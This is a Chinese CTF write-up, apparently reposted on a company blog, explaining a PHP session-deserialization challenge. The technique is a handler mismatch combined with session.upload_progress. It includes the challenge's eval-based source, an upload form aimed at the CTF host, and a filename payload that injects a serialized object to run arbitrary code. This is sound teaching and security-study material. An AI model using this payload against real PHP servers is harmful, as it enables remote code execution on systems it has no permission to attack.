您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關(guān)如何從session角度學(xué)習(xí)反序列化,小編覺得挺實(shí)用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
下面是題目給出的源碼
<?php
// A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO {
public $mdzz;
function __construct() {
$this->mdzz = 'phpinfo();';
}
function __destruct() {
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo'])) {
$m = new OowoO();
}
else {
highlight_string(file_get_contents( 'index.php'));
}
?>
前言
題目直接給出了 phpinfo 信息,作為 CTF 的題來說,一定有其特別的意義。
另外,在實(shí)戰(zhàn)中也是重要的信息泄露,
遇到這種情況,可直接拿下來與默認(rèn)的phpinfo 進(jìn)行文件對比,或許可以迅速找到突破口。
困境
看到 construct() 和 __destruct() 兩個魔術(shù)方法,極有可能是反序列化的題。其中,destruct() 中有
eval($this->mdzz);
如果 $this->mdzz 可控的話,這就是一個明顯的 webshell 了,可惜 mdzz 在構(gòu)造函數(shù)中就限死了,而且這里并沒有變量覆蓋的漏洞,否則也可以打一波,陷入困境。
有這么方便的 eval() 在這里,能不能繞過構(gòu)造函數(shù),直接執(zhí)行我們需要的命令呢?
此處必有蹊蹺。
ini_set('session.serialize_handler', 'php');
知識點(diǎn)
1.PHP Session 序列化及反序列化處理器設(shè)置使用不當(dāng)帶來的安全隱患:https://github.com/80vul/phpcodz/blob/master/research/pch-013.md
phpinfo 中可以看到,PHP 反序列化時可以使用的幾種方法。
平時實(shí)驗(yàn)過程中,也可以用這個語句進(jìn)行方法指定。
session_start([
'serialize_handler' => 'php_serialize'
])
在設(shè)置 session 和讀取 session 兩個階段中,若使用了不同的序列化方法,將產(chǎn)生任意對象注入,進(jìn)而導(dǎo)致反序列化漏洞。
;
存儲時使用 php_serialize -->
a:1:{s:4:"test";s:20:"|O:8:"stdClass":0:{}";}
反序列化使用 php -->
// var_dump($_SESSION);
array(1) {
["a:1:{s:4:"test";s:20:""]=>
object(stdClass)#1 (0) {
}
}
PHP 獲取到 session 字符串后,就開始查找第一個 |(豎線),用豎線將字符串分割成“鍵名”和“鍵值”, 并對“鍵值”進(jìn)行反序列化。但如果這次反序列化失敗,就放棄這次解析,再去找下一個豎線,執(zhí)行同樣的操作,直到成功。
然而到這里還是沒解決 mdzz 不可控的問題,接下來引入第二個知識點(diǎn)。
2.上傳進(jìn)度支持(Upload progress in sessions)
正常用法參見 example #1:
http://php.net/manual/zh/session.upload-progress.php,配合 Ajax 就能顯示上傳進(jìn)度。
利用此法可達(dá)到對 session 寫入數(shù)據(jù)的效果,從而使得 $mdzz 可控,可參照 有趣的 php 反序列化總結(jié):
http://www.91ri.org/15925.html
當(dāng)一個上傳在處理中,同時 post 一個與 ini 設(shè)置的 session.uploadprogress.name 同名變量時,php 檢測到這種 post 請求時就會在 $SESSION 中添加一組數(shù)據(jù),所以可通過 session.upload_progress 來設(shè)置 session。
下面是部分參數(shù)說明
session.uploadprogress.enabled[=1] : 是否啟用上傳進(jìn)度報告(默認(rèn)開啟)session.uploadprogress.cleanup[=1] : 是否在上傳完成后及時刪除進(jìn)度數(shù)據(jù)(默認(rèn)開啟, 推薦開啟).session.uploadprogress.prefix[=uploadprogress] : 進(jìn)度數(shù)據(jù)將存儲在_SESSION[session.uploadprogress.prefix . POST[session.uploadprogress.name]] session.uploadprogress.name[=PHPSESSIONUPLOADPROGRESS] : 如果 POST[session.uploadprogress.name]沒有被設(shè)置, 則不會報告進(jìn)度.session.uploadprogress.freq[=1%] : 更新進(jìn)度的頻率(已經(jīng)處理的字節(jié)數(shù)), 也支持百分比表示’%’. session.uploadprogress.min_freq[=1.0] : 更新進(jìn)度的時間間隔(秒級)
回到本題,查看 phpinfo, session.uploadprogress.enabled 打開,并且session.uploadprogress.cleanup關(guān)閉。
開干
構(gòu)造一個表單
<!DOCTYPE html>
<html>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
如果不指定,PHP 將默認(rèn)使用 “php“ 作為 session 序列化的方法,payload 及結(jié)果如下:
PS:不用糾結(jié) Content-Type,這個對解題沒有影響,重點(diǎn)是加入\,防止 " 被轉(zhuǎn)義。
filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:19:\"print_r($_SESSION);\";}"
Array (
[a:1:{s:24:"upload_progress_12312131";a:5:{s:10:"start_time";i:1551019950;s:14:"content_length";i:434;s:15:"bytes_processed";i:434;s:4:"done";b:1;s:5:"files";
a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:55:"]
=> OowoO Object (
[mdzz] => print_r($_SESSION);
)
)
根據(jù) php 手冊,存入 session 里的形式是這樣的,由此看出 field_name 也可以,所以不一定要用 filenam
$_SESSION["upload_progress_123"] = array(
"start_time" => 1234567890, // The request time
"content_length" => 57343257, // POST content length
"bytes_processed" => 453489, // Amount of bytes received and processed
"done" => false,
// true when the POST handler has finished, successfully or not
"files" => array(
0 => array(
"field_name" => "file1", // Name of the <input/> field
// The following 3 elements equals those in $_FILES
"name" => "foo.avi",
"tmp_name" => "/tmp/phpxxxxxx",
"error" => 0,
"done" => true,
// True when the POST handler has finished handling this file
"start_time" => 1234567890,
// When this file has started to be processed
"bytes_processed" => 57343250,
// Amount of bytes received and processed for this file
)
)
)
拿 flag 的老套路就不多說了,把 mdzz 里的值換成你需要執(zhí)行的操作即可。
以上就是如何從session角度學(xué)習(xí)反序列化,小編相信有部分知識點(diǎn)可能是我們?nèi)粘9ぷ鲿姷交蛴玫降摹OM隳芡ㄟ^這篇文章學(xué)到更多知識。更多詳情敬請關(guān)注億速云行業(yè)資訊頻道。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。